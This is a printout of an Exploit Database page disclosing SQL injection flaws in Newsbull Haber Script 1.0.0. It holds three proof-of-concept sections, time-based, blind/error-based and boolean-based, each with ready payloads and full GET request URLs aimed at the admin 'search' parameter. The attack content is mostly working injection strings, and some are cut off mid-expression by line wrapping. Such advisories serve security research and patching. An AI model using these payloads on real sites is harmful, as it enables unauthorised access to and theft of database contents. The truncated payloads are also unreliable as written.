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Newsbull Haber Script 1.0.0 - 'search' SQL
Injection

EDB Verified:

EDB-ID:
46266

CVE:
N/A

󰅖

Exploit:   /   

Author:
MEHMET EMIROGLU

Type:
WEBAPPS

󰇚 󰅩

Vulnerable App:

Platform:
PHP

Date:
2019-01-28

󰏔

󰁍 󰁔

EXPLOIT DATABASE

󰠭 EXPLOITS

󰜏 GHDB

󰈤 PAPERS

󰘚 SHELLCODES

󰡦 SEARCH EDB

󰗚 SEARCHSPLOIT MANUAL

󰕒 SUBMISSIONS

󰑴 ONLINE TRAINING

4/12/26, 1:56 PM Newsbull Haber Script 1.0.0 - 'search' SQL Injection - PHP webapps Exploit

https://www.exploit-db.com/exploits/46266 2/4

https://www.exploit-db.com/download/46266
https://www.exploit-db.com/download/46266
https://www.exploit-db.com/download/46266
https://www.exploit-db.com/download/46266
https://www.exploit-db.com/raw/46266
https://www.exploit-db.com/raw/46266
https://www.exploit-db.com/raw/46266
https://www.exploit-db.com/raw/46266
https://www.exploit-db.com/?author=9857
https://www.exploit-db.com/?type=webapps
https://www.exploit-db.com/apps/29a09155cf5194a79d1f09e2ea696d92-newsbull-1.0.0.tar.gz
https://www.exploit-db.com/apps/29a09155cf5194a79d1f09e2ea696d92-newsbull-1.0.0.tar.gz
https://www.exploit-db.com/apps/29a09155cf5194a79d1f09e2ea696d92-newsbull-1.0.0.tar.gz
https://www.exploit-db.com/apps/29a09155cf5194a79d1f09e2ea696d92-newsbull-1.0.0.tar.gz
https://www.exploit-db.com/?platform=php
https://www.exploit-db.com/exploits/46265
https://www.exploit-db.com/exploits/46267
https://www.exploit-db.com/
https://www.exploit-db.com/
https://www.exploit-db.com/
https://www.exploit-db.com/google-hacking-database
https://www.exploit-db.com/papers
https://www.exploit-db.com/shellcodes
https://www.exploit-db.com/search
https://www.exploit-db.com/searchsploit
https://www.exploit-db.com/submit
https://www.offsec.com/?utm_source=edb&utm_medium=web&utm_campaign=www


####################################################################

# Exploit Title: Newsbull Haber Script - SQL Injection (Time Based)

# Dork: N/A

# Date: 28-01-2019

# Exploit Author: Mehmet EMIROGLU

# Vendor Homepage: http://newsbull.org/

# Software Link: https://github.com/gurkanuzunca/newsbull

# Version: 1.0.0

# Category: Webapps

# Tested on: Wampp @Win

# CVE: N/A

####################################################################

# Vulnerabilities

# For the SQL injection to be applied, the user must log in.

# Running the injection command in the POC section will display the db 

data.

# The proof of the deficit is in the link below.

# https://i.hizliresim.com/zj0Q77.jpg

####################################################################

# POC - SQLi (Time Based)

# Parameters : search

# Attack Pattern : -1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'

# GET Request :

http://localhost/[PATH]/admin/comment/records?userId=1&search=1'[SQL]

# URL : http://localhost/[PATH]/admin/comment/records?userId=1&search=-1'

or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+'

####################################################################

####################################################################

# Exploit Title: Newsbull Haber Script 1.0.0 - SQL Injection

# Dork: N/A

# Date: 28-01-2019

# Exploit Author: Mehmet EMIROGLU

# Vendor Homepage: http://newsbull.org/

# Demo Page : http://newsbull.gurkanuzunca.com/

# Software Link: https://github.com/gurkanuzunca/newsbull

# Version: 1.0.0

# Category: Webapps

# Tested on: Wampp @Win

# CVE: N/A

####################################################################

# Vulnerabilities

# For the SQL injection to be applied, the user must log in.

# Running the injection command in the POC section will display the db 

data.

# The proof of the deficit is in the link below.

# https://i.hizliresim.com/LlOBQz.jpg

####################################################################

# POC - SQLi (Blind)

# Parameters : search

# Attack Pattern : -1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT 

COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(

FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

# GET Request : http://localhost/newsbull/admin/category/records?

search=1'[SQL]
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# GET Request : http://localhost/newsbull/admin/news/records?search=1' 

[SQL]

# URL : http://localhost/newsbull/admin/category/records?search=-1' and 6=3 

or 1=1+(SELECT 1 and ROW(1,1)>(SELECT 

COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(

FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'

####################################################################

####################################################################

# Exploit Title: Newsbull Haber Script - (Boolean) SQL Injection

# Dork: N/A

# Date: 28-01-2019

# Exploit Author: Mehmet EMIROGLU

# Vendor Homepage: http://newsbull.org/

# Software Link: https://github.com/gurkanuzunca/newsbull

# Version: 1.0.0

# Category: Webapps

# Tested on: Wampp @Win

# CVE: N/A

####################################################################

# Vulnerabilities

# For the SQL injection to be applied, the user must log in.

# Running the injection command in the POC section will display the db 

data.

# The proof of the deficit is in the link below.

# https://i.hizliresim.com/LlOBQz.jpg

####################################################################

# POC - SQLi (Boolean Based)

# Parameters : search

# Attack Pattern : ' OR 1=1 OR 'cw'='cw 

# GET Request : http://localhost/newsbull/admin/menu/childs/5?

search=1'[SQL]

# URL : http://localhost/newsbull/admin/menu/childs/5?search=' OR 1=1 OR 

'cw'='cw

####################################################################
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